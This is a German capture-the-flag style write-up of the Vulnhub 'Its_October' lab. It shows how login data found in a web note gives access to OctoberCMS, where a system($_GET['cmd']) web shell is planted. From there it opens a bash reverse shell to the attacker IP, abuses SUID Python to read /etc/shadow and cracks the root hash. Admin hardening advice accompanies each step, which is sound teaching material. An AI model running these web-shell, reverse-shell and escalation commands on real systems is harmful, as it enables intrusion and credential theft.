Its_October - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
mysql
Web Browser
gobuster
ssh
nc (Netcat)
find
python3
grep
su
john
echo
id
ls
cd
cat

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase beginnt mit der Identifizierung des Ziels im lokalen Netzwerk und dem Scannen nach offenen Ports und Diensten.

┌──(root㉿Cybermaschine)-[~]
└─# arp-scan -l
192.168.2.134	08:00:27:40:03:c5	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk, um aktive Geräte zu erkennen. Ein Host mit der IP-Adresse `192.168.2.134` und der MAC-Adresse `08:00:27:40:03:c5` (PCS Systemtechnik GmbH) wird gefunden, was auf eine VirtualBox-VM hindeutet.

**Bewertung:** Das Zielsystem wurde erfolgreich identifiziert. Die IP `192.168.2.134` ist das Ziel für die weiteren Schritte.

**Empfehlung (Pentester):** Führen Sie Portscans auf die Ziel-IP durch. Ergänzen Sie die lokale `/etc/hosts`-Datei um einen passenden Hostnamen, sobald dieser bekannt ist.
**Empfehlung (Admin):** Netzwerksegmentierung und -monitoring können zur Erkennung und Eindämmung von Scans beitragen.

┌──(root㉿Cybermaschine)-[~]
└─# vi /etc/hosts
192.168.2.134	october.hmv
                    

**Analyse:** Die lokale Hosts-Datei des Angreifers wird bearbeitet, um die IP `192.168.2.134` dem Hostnamen `october.hmv` zuzuordnen. Dieser Hostname wurde vermutlich während der Nmap-Scans ermittelt oder vorgegeben.

**Bewertung:** Dies vereinfacht die weitere Interaktion mit dem Zielsystem, da nun der Hostname `october.hmv` verwendet werden kann.

**Empfehlung (Pentester):** Verwenden Sie `october.hmv` in nachfolgenden Befehlen und bei der Analyse von Webanwendungen.
**Empfehlung (Admin):** Dieser Schritt erfolgt auf dem Angreifer-System. Achten Sie auf eine korrekte DNS-Konfiguration Ihrer Server.

┌──(root㉿Cybermaschine)-[~]
└─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.134 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-27 23:19 CEST
Nmap scan report for october.hmv (192.168.2.134)
Host is up (0.00027s latency).
Not shown: 65531 closed tcp ports (reset)
PRT     STATE SERVICE VERSIN
22/tcp   open  ssh     penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 27:21:9e:b5:39:63:e9:1f:2c:b2:6b:d3:3a:5f:31:7b (RSA)
|   256 bf:90:8a:a5:d7:e5:de:89:e6:1a:36:a1:93:40:18:57 (ECDSA)
|_  256 95:1f:32:95:78:08:50:45:cd:8c:7c:71:4a:d4:6c:1c (ED25519)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Homepage | My new websites
|_http-server-header: Apache/2.4.38 (Debian)
3306/tcp open  mysql   MySQL (unauthorized)
8080/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: My Note
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:40:03:C5 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.27 ms october.hmv (192.168.2.134)
                    

**Analyse:** Der Nmap-Scan (`-sS -sC -sV -T5 -A -Pn -p-`) auf alle TCP-Ports von `192.168.2.134` zeigt vier offene Ports: * **Port 22 (SSH):** OpenSSH 7.9p1 auf Debian. Relativ aktuell. * **Port 80 (HTTP):** Apache 2.4.38 auf Debian. Titel: "Homepage | My new websites". * **Port 3306 (MySQL):** MySQL-Dienst. Wird als `(unauthorized)` gemeldet, was normalerweise bedeutet, dass eine Verbindung möglich ist, aber keine Authentifizierung ohne Zugangsdaten gelang. * **Port 8080 (HTTP):** Ein weiterer Apache 2.4.38 auf Debian. Titel: "My Note". Das Skript `http-open-proxy` vermutet, dass es sich um einen Proxy handeln könnte. Das Betriebssystem wird als Linux (Kernel 4.15 - 5.8) identifiziert.

**Bewertung:** Die Angriffsfläche umfasst SSH, zwei Webserver und einen MySQL-Datenbankserver. Die beiden Webserver auf Port 80 und 8080 müssen genauer untersucht werden. Der MySQL-Port ist interessant, aber Nmap meldet, dass ein direkter Zugriff nicht ohne Weiteres möglich ist (wahrscheinlich aufgrund von Host-Beschränkungen).

**Empfehlung (Pentester):** 1. Untersuchen Sie die Webserver auf Port 80 und 8080 detailliert (Nikto, Gobuster, manuelle Analyse). 2. Versuchen Sie, eine Verbindung zur MySQL-Datenbank herzustellen (`mysql -h october.hmv -u root -p`), um die Zugriffsbeschränkung zu bestätigen. 3. Behalten Sie SSH als Ziel für gefundene Zugangsdaten.
**Empfehlung (Admin):** 1. Überprüfen Sie die Konfiguration beider Apache-Instanzen und die darauf laufenden Anwendungen. Warum laufen zwei Webserver? 2. Sichern Sie die MySQL-Datenbank, indem Sie den Zugriff auf notwendige Hosts beschränken (z.B. localhost) und starke Passwörter verwenden. 3. Sichern Sie SSH. Halten Sie alle Dienste aktuell.

┌──(root㉿Cybermaschine)-[~]
└─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.134 -p- | grep open
22/tcp   open  ssh     penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
3306/tcp open  mysql   MySQL (unauthorized)
8080/tcp open  http    Apache httpd 2.4.38 ((Debian))
                    

**Analyse:** Wiederholung des vorherigen Nmap-Scans, aber die Ausgabe wird durch `grep open` gefiltert, um nur die Zeilen mit offenen Ports anzuzeigen. Dies bestätigt die vier offenen Ports: 22, 80, 3306, 8080.

**Bewertung:** Eine kompakte Übersicht über die Angriffsfläche. Keine neuen Informationen.

**Empfehlung (Pentester):** Nutzen Sie diese Liste als Checkliste für die weitere Untersuchung der Dienste.
**Empfehlung (Admin):** Vergleichen Sie diese Liste mit den erwarteten offenen Ports gemäß Ihrer Sicherheitsrichtlinie und Firewall-Konfiguration.

┌──(root㉿Cybermaschine)-[~]
└─# mysql -u root -h october.hmv -p
Enter password:
ERROR 1130 (HY000): Host 'PC192-168-2-199' is not allowed to connect to this MySQL server
                    

**Analyse:** Der Befehl `mysql -u root -h october.hmv -p` versucht, sich als Benutzer `root` mit dem MySQL-Server auf dem Zielhost zu verbinden. Nach der Passwortabfrage (vermutlich leer gelassen oder falsch eingegeben) gibt der Server einen Fehler zurück: `ERROR 1130 (HY000): Host 'PC192-168-2-199' is not allowed to connect to this MySQL server`. Der Hostname `PC192-168-2-199` identifiziert das Angreifer-System.

**Bewertung:** Dies bestätigt die Nmap-Vermutung (`unauthorized`). Der MySQL-Server erlaubt keine Verbindungen von der IP des Angreifers. Ein direkter Angriff auf die Datenbank von außen ist somit nicht möglich. Zugriff kann nur von erlaubten Hosts (wahrscheinlich nur `localhost`) erfolgen.

**Empfehlung (Pentester):** Der direkte MySQL-Angriff ist ausgeschlossen. Konzentrieren Sie sich auf die Webserver. Falls später eine Shell auf dem Zielsystem erlangt wird, kann von dort aus versucht werden, auf MySQL zuzugreifen.
**Empfehlung (Admin):** Die Beschränkung des Datenbankzugriffs auf notwendige Hosts (wie `localhost`) ist eine wichtige Sicherheitsmaßnahme und hier korrekt umgesetzt. Stellen Sie sicher, dass auch starke Passwörter verwendet werden.

Web Enumeration (Port 80 & 8080)

Wir untersuchen nun die beiden Webserver auf Port 80 und 8080 genauer, um Anwendungen, Verzeichnisse und Schwachstellen zu finden.

 http://october.hmv:8080
My Note
 
 
  -->
                    

**Analyse:** Der Pentester hat die Seite `http://october.hmv:8080` im Browser untersucht. Die Seite zeigt den Titel "My Note" und ein Bild `mynote.jpg`. Im HTML-Quellcode befindet sich ein auskommentierter Link (``) zu einer Datei `mynote.txt`.

**Bewertung:** Ein wichtiger Fund! Auskommentierter Code enthält oft sensible Informationen oder Hinweise. Die Datei `mynote.txt` auf Port 8080 sollte abgerufen werden.

**Empfehlung (Pentester):** Rufen Sie `http://october.hmv:8080/mynote.txt` auf und analysieren Sie den Inhalt.
**Empfehlung (Admin):** Entfernen Sie auskommentierten Code, der sensible Links oder Informationen enthält, aus Webseiten.

┌──(root㉿Cybermaschine)-[~]
└─# gobuster dir -u http://october.hmv -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
http://october.hmv/index.php            (Status: 200) [Size: 9882]
http://october.hmv/0                    (Status: 200) [Size: 9882] 
http://october.hmv/themes               (Status: 301) [Size: 311] [--> http://october.hmv/themes/]
http://october.hmv/modules              (Status: 301) [Size: 312] [--> http://october.hmv/modules/]
                    

**Analyse:** Gobuster wird auf Port 80 (`http://october.hmv`) ausgeführt. Es findet: * `/index.php`: Die Hauptseite (vermutlich die WordPress-Seite). * `/0`: Eine Ressource namens "0" liefert denselben Inhalt wie `index.php`. Sehr ungewöhnlich. * `/themes` und `/modules`: Typische Verzeichnisse für ein CMS, hier wahrscheinlich OctoberCMS (basierend auf dem späteren Shell-Pfad).

**Bewertung:** Der Scan deutet auf ein CMS hin, möglicherweise OctoberCMS (wegen `/themes` und `/modules`). Die Ressource `/0` ist seltsam und könnte auf eine Fehlkonfiguration oder eine spezielle Routing-Regel hindeuten. Wichtiger ist jedoch der Fund aus der manuellen Untersuchung von Port 8080.

**Empfehlung (Pentester):** Konzentrieren Sie sich auf den Hinweis aus Port 8080 (`mynote.txt`). Untersuchen Sie die gefundenen CMS-Verzeichnisse `/themes` und `/modules`. Überprüfen Sie `/0`.
**Empfehlung (Admin):** Untersuchen Sie die ungewöhnliche Ressource `/0`. Stellen Sie sicher, dass das CMS (vermutlich OctoberCMS) aktuell und sicher konfiguriert ist.

Credential Discovery (Port 8080)

Wir folgen dem Hinweis aus dem Quellcode der Webseite auf Port 8080 und rufen die auskommentierte Datei `mynote.txt` auf, in der Hoffnung, Zugangsdaten oder weitere Informationen zu finden.

--------------------------------------------------------------------

http://october.hmv:8080/mynote.txt
user 		- admin
password 	- adminadmin2

--------------------------------------------------------------------
                    

**Analyse:** Der Pentester hat `http://october.hmv:8080/mynote.txt` aufgerufen. Die Datei enthält Klartext-Zugangsdaten: Benutzer `admin` mit dem Passwort `adminadmin2`.

**Bewertung:** Ein kritischer Fund! Klartext-Zugangsdaten wurden in einer einfachen Textdatei auf einem Webserver gefunden. Diese Zugangsdaten sind wahrscheinlich für das CMS auf Port 80 oder für SSH gültig.

**Empfehlung (Pentester):** 1. Versuchen Sie, sich mit `admin`:`adminadmin2` per SSH (Port 22) anzumelden. 2. Versuchen Sie, sich mit diesen Daten beim CMS auf Port 80 anzumelden (vermutlich unter `/backend` oder einem ähnlichen Pfad für OctoberCMS).
**Empfehlung (Admin):** 1. Entfernen Sie die Datei `mynote.txt` *sofort*. 2. Ändern Sie das Passwort für den Benutzer `admin` überall dort, wo es verwendet wird. 3. Speichern Sie niemals Zugangsdaten im Klartext auf einem Webserver. Verwenden Sie Passwort-Manager und sichere Authentifizierungsmethoden.

Initial Access (OctoberCMS RCE)

Wir versuchen zunächst, die gefundenen Zugangsdaten (`admin:adminadmin2`) für den SSH-Login zu verwenden. Anschließend nutzen wir sie für den Login in das Backend des OctoberCMS auf Port 80 und suchen nach einer Möglichkeit zur Remote Code Execution.

┌──(root㉿Cybermaschine)-[~]
└─# ssh admin@october.hmv
The authenticity of host 'october.hmv (192.168.2.134)' can't be established.
ED25519 key fingerprint is SHA256:YZj1kF9uAadJk+aLh9kjKFN5ohREbSGoCGqU4hA1w4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'october.hmv' (ED25519) to the list of known hosts.

   #                                      Armour Infosec                                        #
[...] 
                                       IP:\4
                                       Hostname: \n

Debian GNU/Linux 10
admin@october.hmv: Permission denied (publickey).
                    

**Analyse:** Der Versuch, sich mit `ssh admin@october.hmv` anzumelden, schlägt fehl. Nach Bestätigung des Hostkeys und Anzeige eines Banners kommt die Meldung `Permission denied (publickey)`.

**Bewertung:** Der SSH-Server ist so konfiguriert, dass er für den Benutzer `admin` nur eine Authentifizierung über Public Keys akzeptiert, keine Passwörter. Die gefundenen Zugangsdaten sind hier also nutzlos.

**Empfehlung (Pentester):** Konzentrieren Sie sich auf den Login in das Web-CMS auf Port 80 mit den gefundenen Zugangsdaten.
**Empfehlung (Admin):** Die Konfiguration von SSH auf reine Schlüsselauthentifizierung ist eine gute Sicherheitspraxis. Stellen Sie sicher, dass keine Benutzer mit Passwort-Login aktiviert sind, wenn nicht benötigt.

--------------------------------------------------------------------

http://october.hmv/backend

user 		- admin
password 	- adminadmin2

--------------------------------------------------------------------


Page:Add:test

http://october.hmv/backend/cms
code
function onStart() { echo 123; echo phpinfo(); }

http://october.hmv/test

--------------------------------------------------------------------


function onStart() { echo 123; system($_GET['cmd']); }

http://october.hmv/test?cmd=id

--------------------------------------------------------------------
                    

**Analyse:** Diese Notizen beschreiben den erfolgreichen Login und die Ausnutzung des OctoberCMS: 1. Der Pentester hat das Backend des CMS unter `http://october.hmv/backend` gefunden und sich mit `admin`:`adminadmin2` eingeloggt. 2. Innerhalb des CMS (Bereich `backend/cms`) gibt es eine Funktion zum Hinzufügen/Bearbeiten von Seiten ("Page:Add:test"). Eine neue Seite namens `test` wird erstellt. 3. In den Code-Bereich dieser Seite (vermutlich eine Twig- oder PHP-Sektion) wird eine `onStart()`-Funktion eingefügt. Zuerst wird testweise `echo phpinfo();` eingefügt und die Seite `/test` aufgerufen, um die PHP-Ausführung zu bestätigen (Ergebnis nicht im Log). 4. Anschließend wird die Funktion zu `function onStart() { echo 123; system($_GET['cmd']); }` geändert. Dies führt dazu, dass beim Aufruf der Seite `/test` der Wert des GET-Parameters `cmd` als Systemkommando ausgeführt wird. 5. Ein Testaufruf `http://october.hmv/test?cmd=id` bestätigt die RCE (Ausgabe nicht im Log, aber impliziert durch nächsten Schritt).

**Bewertung:** Kritischer Erfolg! Durch den Login mit den gefundenen Standard-Zugangsdaten konnte eine bekannte Funktionalität von OctoberCMS (Ausführen von PHP-Code in Seiten/Templates) missbraucht werden, um eine Command Injection Schwachstelle zu schaffen. Dies gewährt RCE als Webserver-Benutzer (`www-data`).

**Empfehlung (Pentester):** Nutzen Sie die RCE über den `cmd`-Parameter auf `/test`, um eine Reverse Shell zu etablieren.
**Empfehlung (Admin):** 1. Ändern Sie das Standard-Admin-Passwort *sofort*. 2. Härten Sie OctoberCMS: Beschränken Sie die Möglichkeit, PHP-Code direkt über das Backend auszuführen (falls möglich, oft eine Kernfunktion), oder beschränken Sie den Zugriff auf das Backend sehr stark. Halten Sie das CMS und alle Plugins aktuell. 3. Überwachen Sie die Erstellung/Änderung von CMS-Seiten und -Templates.

Proof of Concept (Reverse Shell)

Nachdem wir durch die Modifikation einer CMS-Seite eine Command Injection Schwachstelle geschaffen haben, nutzen wir diese nun, um eine Reverse Shell zu unserem Angreifer-System aufzubauen.

┌──(root㉿Cybermaschine)-[~]
└─# nc -lvnp 9999
listening on [any] 9999 ...
http://october.hmv/test?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9999%200%3E%261%27
┌──(root㉿Cybermaschine)-[~]
└─# nc -lvnp 9999
listening on [any] 9999 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.134] 48686
bash: cannot set terminal process group (441): Inappropriate ioctl for device
bash: no job control in this shell
www-data@october:/var/www/html/octobercms$
                    

**Analyse:** Ein Netcat-Listener wird auf Port 9999 gestartet. Anschließend wird die URL `http://october.hmv/test` aufgerufen, wobei der `cmd`-Parameter eine URL-kodierte Bash-Reverse-Shell-Payload enthält (`/bin/bash -c 'bash -i >& /dev/tcp/[Angreifer-IP]/[Port] 0>&1'`). Der Aufruf der URL führt dazu, dass die `system()`-Funktion in der modifizierten CMS-Seite die Payload ausführt. Der Listener empfängt die Verbindung und der Angreifer erhält eine Shell als `www-data` im Verzeichnis `/var/www/html/octobercms`.

**Bewertung:** Initial Access erfolgreich etabliert! Eine interaktive Shell als `www-data` wurde über die RCE im CMS erlangt.

**Empfehlung (Pentester):** Stabilisieren Sie die Shell (Upgrade zur TTY). Beginnen Sie mit der lokalen Enumeration als `www-data`.
**Empfehlung (Admin):** Beheben Sie die RCE im CMS. Implementieren Sie Egress-Filtering.

Lokale Enumeration

Mit der Shell als `www-data` untersuchen wir das System lokal auf Hinweise und Eskalationsmöglichkeiten.

bash-5.0$ find / -type f -perm -4000 -ls 2>/dev/null
   264539     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   264686     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
   267714   4764 -rwsr-xr-x   2 root     root      4877888 Dec 20  2019 /usr/bin/python3.7m
   261159     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   261155     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   261156     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   265011     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
   265013     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
   267714   4764 -rwsr-xr-x   2 root     root      4877888 Dec 20  2019 /usr/bin/python3.7
   261158     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   524560     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   269307    428 -rwsr-xr-x   1 root     root       436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
   269209     52 -rwsr-xr--   1 root     messagebus    51184 Jun  9  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
                    

**Analyse:** Die Suche nach SUID-Dateien (`find / -type f -perm -4000 ...`) liefert eine Liste von Standard-Systembinaries (`su`, `passwd`, `mount` etc.). Der entscheidende Fund ist: * `/usr/bin/python3.7` und `/usr/bin/python3.7m` (derselbe Inode, Hardlink oder Symlink): Sind SUID Root (`-rwsr-xr-x`).

**Bewertung:** SUID-Root Python ist eine kritische Schwachstelle! Es ermöglicht die einfache Ausführung von beliebigem Code mit Root-Rechten. Dies ist der wahrscheinlichste und einfachste Weg zur Privilegieneskalation.

**Empfehlung (Pentester):** Nutzen Sie SUID Python sofort zur Eskalation. Der Befehl `/usr/bin/python3.7 -c 'import os; os.execve("/bin/sh", ["/bin/sh", "-p"], os.environ)'` oder einfacher `/usr/bin/python3.7 -c 'import os; os.system("/bin/sh -p")'` sollte eine Root-Shell liefern.
**Empfehlung (Admin):** Entfernen Sie das SUID-Bit von Python *dringend* (`chmod u-s /usr/bin/python3.7`). Interpreter sollten niemals SUID sein.

bash-5.0$ ls -la py*
-rwxr-xr-x 1 root root    7806 Mar 26  2019 py3clean
-rwxr-xr-x 1 root root   12113 Mar 26  2019 py3compile
lrwxrwxrwx 1 root root      31 Mar 26  2019 py3versions -> ../share/python3/py3versions.py
lrwxrwxrwx 1 root root       8 Mar 26  2019 pydoc3 -> pydoc3.7
-rwxr-xr-x 1 root root      79 Dec 20  2019 pydoc3.7
lrwxrwxrwx 1 root root      12 Mar 26  2019 pygettext3 -> pygettext3.7
-rwxr-xr-x 1 root root   21547 Dec 20  2019 pygettext3.7
lrwxrwxrwx 1 root root       9 Mar 26  2019 python3 -> python3.7
-rwsr-xr-x 2 root root 4877888 Dec 20  2019 python3.7
-rwsr-xr-x 2 root root 4877888 Dec 20  2019 python3.7m
lrwxrwxrwx 1 root root      10 Mar 26  2019 python3m -> python3.7m
                    

**Analyse:** Ein `ls -la py*` (vermutlich in `/usr/bin`) bestätigt die SUID-Berechtigungen (`-rwsr-xr-x`) für `python3.7` und `python3.7m`.

**Bewertung:** Visuelle Bestätigung der SUID-Schwachstelle.

**Empfehlung (Pentester):** Nutzen Sie die Schwachstelle aus.
**Empfehlung (Admin):** Entfernen Sie das SUID-Bit.

www-data@october:/var/www/html/octobercms/config$ grep pass *
cookie.php:    | example, when you want to pass data from frontend to server side backend
database.php:            'password'   => 'root',
database.php:            'password' => '',
database.php:            'password' => '',
database.php:            'password' => null,
mail.php:    | connection. You may also set the "password" value below this one.
mail.php:    | Here you may set the password required by your SMTP server to send out
mail.php:    'password' => null,
                    
www-data@october:/var/www/html/octobercms/config$ su root
Password:
su: Authentication failure

**Analyse:** Der Pentester durchsucht die Konfigurationsdateien von OctoberCMS (`/var/www/html/octobercms/config`) nach dem Wort "pass". In `database.php` wird das MySQL-Passwort für den Benutzer `root` als `root` gefunden. Anschließend wird versucht, mit `su root` und diesem Passwort zu Root zu wechseln, was jedoch fehlschlägt (`Authentication failure`).

**Bewertung:** Bestätigt das MySQL-Root-Passwort als `root`. Dieses Passwort ist jedoch nicht das System-Root-Passwort.

**Empfehlung (Pentester):** Das MySQL-Passwort ist nicht für den `su`-Befehl gültig. Konzentrieren Sie sich auf die SUID-Python-Schwachstelle.
**Empfehlung (Admin):** Ändern Sie das MySQL-Root-Passwort. Verwenden Sie niemals dasselbe Passwort für die Datenbank und das System.

www-data@october:/var/www/html/octobercms/config$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
[...]
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| notepad            |
| octoberdb          |
| performance_schema |
| test               |
+--------------------+
6 rows in set (0.01 sec)

mysql> use octoberdb;
Reading table information for completion of table and column names
[...]
Database changed
mysql> show tables;
+----------------------------+
| Tables_in_octoberdb      |
+----------------------------+
| backend_access_log       |
| backend_user_groups      |
| backend_user_preferences |
[...]
| system_settings          |
+----------------------------+
27 rows in set (0.00 sec)

mysql> select * from backend_users;
+----+------------+-----------+-------+-----------------+--------------------------------------------------------------------+-----------------+--------------------------------------------------------------------+---------------------+-------------+--------------+-----------+---------------------+---------------------+---------------------+------------+--------------+
| id | first_name | last_name | login | email           | password                                                           | activation_code | persist_code                                                       | reset_password_code | permissions | is_activated | role_id | activated_at | last_login          | created_at          | updated_at          | deleted_at | is_superuser |
+----+------------+-----------+-------+-----------------+--------------------------------------------------------------------+-----------------+--------------------------------------------------------------------+---------------------+-------------+--------------+-----------+---------------------+---------------------+---------------------+------------+--------------+
|  1 | Admin      | admin     | admin | admin@admin.com | $2y$10$cFzZRg/pGt7apgTgjJ2G2uFJl7XT7idgmFw42y/fIQN07hUDV4N1q          | NULL            | $2y$10$dZywPyfS18LGjsWwl5nYwu4TtUAhbuawq4moRlLWuM7.lXilcsUBa          | NULL                | NULL        |            1 |       2 | NULL         | 2023-09-27 21:25:59 | 2020-03-27 11:19:55 | 2023-09-27 21:25:59 | NULL       |            1 |
+----+------------+-----------+-------+-----------------+--------------------------------------------------------------------+-----------------+--------------------------------------------------------------------+---------------------+-------------+--------------+-----------+---------------------+---------------------+---------------------+------------+--------------+
1 row in set (0.00 sec)
                    

**Analyse:** Der Pentester loggt sich erfolgreich als `root` mit dem Passwort `root` in MySQL ein. Er listet die Datenbanken und Tabellen der `octoberdb` auf und zeigt den Inhalt der `backend_users`-Tabelle. Diese enthält den Benutzer `admin` mit einem bcrypt-Passwort-Hash (`$2y$10$...`).

**Bewertung:** Bestätigt den Datenbankzugriff und zeigt den Hash des CMS-Admin-Benutzers. Dies ist nützlich, aber für die Eskalation weniger relevant als die SUID-Python-Schwachstelle.

**Empfehlung (Pentester):** Nutzen Sie die SUID-Python-Schwachstelle.
**Empfehlung (Admin):** Ändern Sie das MySQL-Root-Passwort.

Privilege Escalation (SUID Python & Hash Cracking)

Wir nutzen nun die gefundene SUID-Root-Berechtigung für `/usr/bin/python3.7`, um die Datei `/etc/shadow` auszulesen und anschließend den darin enthaltenen Root-Passwort-Hash zu knacken.

 Privilege Escalation
                    

**Analyse:** Organisatorische Notiz.

**Bewertung:** Markiert den Beginn des Exploitation-Schritts.

**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.

www-data@october:/home$ /usr/bin/python3.7 -c 'import os;os.system("/bin/bash -p")'
www-data@october:/home$ /usr/bin/python3.7 -c 'print(open("/etc/shadow").read())'
root:$6$ey93K17twvYTKL3l$EPeqiCcVDwXlu6cACnVvRr6z1qJ8Ck4v17.xpte06a9Pn/W6jEWB/3Q/gDQyhQnFMjH0YN4YZm0v4/y.JZV/:18346:0:99999:7:
daemon:*:18346:0:99999:7:
bin:*:18346:0:99999:7:
sys:*:18346:0:99999:7:
sync:*:18346:0:99999:7:
games:*:18346:0:99999:7:
man:*:18346:0:99999:7:
lp:*:18346:0:99999:7:
mail:*:18346:0:99999:7:
news:*:18346:0:99999:7:
uucp:*:18346:0:99999:7:
proxy:*:18346:0:99999:7:
www-data:*:18346:0:99999:7:
backup:*:18346:0:99999:7:
list:*:18346:0:99999:7:
irc:*:18346:0:99999:7:
gnats:*:18346:0:99999:7:
nobody:*:18346:0:99999:7:
_apt:*:18346:0:99999:7:
systemd-timesync:*:18346:0:99999:7:
systemd-network:*:18346:0:99999:7:
systemd-resolve:*:18346:0:99999:7:
armour:$6$/380Wfc3ap5rt4yT$uhNzCTNMBTAIcW3PZyv6QMVIFFYoIyc8oifRH/bmFxqm44HawgRXA60iJxvCEXIIgq1w7NhvLYK5opiZMGyn.:18346:0:99999:7:
systemd-coredump:!!:18346
messagebus:*:18346:0:99999:7:
sshd:*:18346:0:99999:7:
mysql:!:18348:0:99999:7:
                    

**Analyse:** Der Pentester nutzt die SUID-Python-Schwachstelle: 1. Ein erster Versuch, eine Root-Shell mit `os.system("/bin/bash -p")` zu erhalten, wird gezeigt, scheint aber nicht weiter verfolgt zu werden oder schlägt fehl (keine Ausgabe). 2. Ein zweiter Befehl `/usr/bin/python3.7 -c 'print(open("/etc/shadow").read())'` wird ausgeführt. Da Python mit Root-Rechten läuft, kann es die `/etc/shadow`-Datei öffnen und deren Inhalt ausgeben. Die Ausgabe zeigt die gehashten Passwörter der Systembenutzer, insbesondere den Hash für `root` (`$6$...` - SHA512Crypt) und einen weiteren Benutzer `armour`.

**Bewertung:** Das Auslesen der `/etc/shadow`-Datei ist ein entscheidender Schritt. Obwohl keine direkte Root-Shell erlangt wurde (möglicherweise wegen der einfachen Reverse Shell ohne TTY), konnten die Passwort-Hashes extrahiert werden. Das Knacken des Root-Hashes ist nun der nächste logische Schritt.

**Empfehlung (Pentester):** Kopieren Sie den Root-Passwort-Hash (`$6$ey9...`) und versuchen Sie, ihn offline mit John the Ripper oder Hashcat zu knacken.
**Empfehlung (Admin):** Entfernen Sie das SUID-Bit von Python. Stellen Sie sicher, dass `/etc/shadow` die korrekten Berechtigungen (`640` oder `600`) hat und nur für `root` (und ggf. die Gruppe `shadow`) lesbar ist.

┌──(root㉿Cybermaschine)-[/home/cyber/Downloads]
└─# echo 'root:$6$ey93K17twvYTKL3l$EPeqiCcVDwXlu6cACnVvRr6z1qJ8Ck4v17.xpte06a9Pn/W6jEWB/3Q/gDQyhQnFMjH0YN4YZm0v4/y.JZV/:18346:0:99999:7:' > shadow.txt
┌──(root㉿Cybermaschine)-[/home/cyber/Downloads]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rootroot1        (root)
1g 0:00:00:00 DONE (2023-09-28 00:01) 9.090g/s 18618p/s 18618c/s 18618C/s R3v_m4lwh3r3_k1nG!!..ashanti
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
                    

**Analyse:** Der extrahierte Root-Hash wird auf dem Angreifer-System in `shadow.txt` gespeichert. John the Ripper wird mit `rockyou.txt` darauf angesetzt und knackt den Hash erfolgreich zum Passwort `rootroot1`.

**Bewertung:** Das System-Root-Passwort wurde ermittelt! Dies ermöglicht nun den direkten Login als Root über `su`.

**Empfehlung (Pentester):** Verwenden Sie `su root` in der `www-data`-Shell und geben Sie das Passwort `rootroot1` ein, um eine Root-Shell zu erhalten.
**Empfehlung (Admin):** Erzwingen Sie starke Root-Passwörter, die nicht in Wortlisten enthalten sind. Überwachen Sie fehlgeschlagene `su`-Versuche.

Proof of Concept (Root Shell via su)

Mit dem geknackten Passwort für den Root-Benutzer wechseln wir nun mittels `su` die Identität und erlangen volle Root-Rechte.

www-data@october:/home$ su root
Password:
root@october:/home# id
uid=0(root) gid=0(root) groups=0(root)

**Analyse:** Von der `www-data`-Shell aus wird `su root` ausgeführt. Nach Eingabe des geknackten Passworts `rootroot1` ist der Wechsel erfolgreich. Der `id`-Befehl bestätigt `uid=0(root)`.

**Bewertung:** Root-Zugriff erfolgreich erlangt! Die Kombination aus SUID-Python zum Auslesen von `/etc/shadow` und dem anschließenden Knacken des Root-Hashes war erfolgreich.

**Empfehlung (Pentester):** Suchen Sie die finale Flagge.
**Empfehlung (Admin):** Beheben Sie die SUID-Python-Schwachstelle. Ändern Sie das Root-Passwort.

root@october:/home# ls
armour
root@october:/home# cd ~
root@october:~# ls
proof.txt
root@october:~# cat proof.txt
Best of Luck
$2y$12$EUztpmoFH8LjEzUBVyNKw.9AKf37uZWPxJp.A3eop2ff0LbLYZrFq
                    

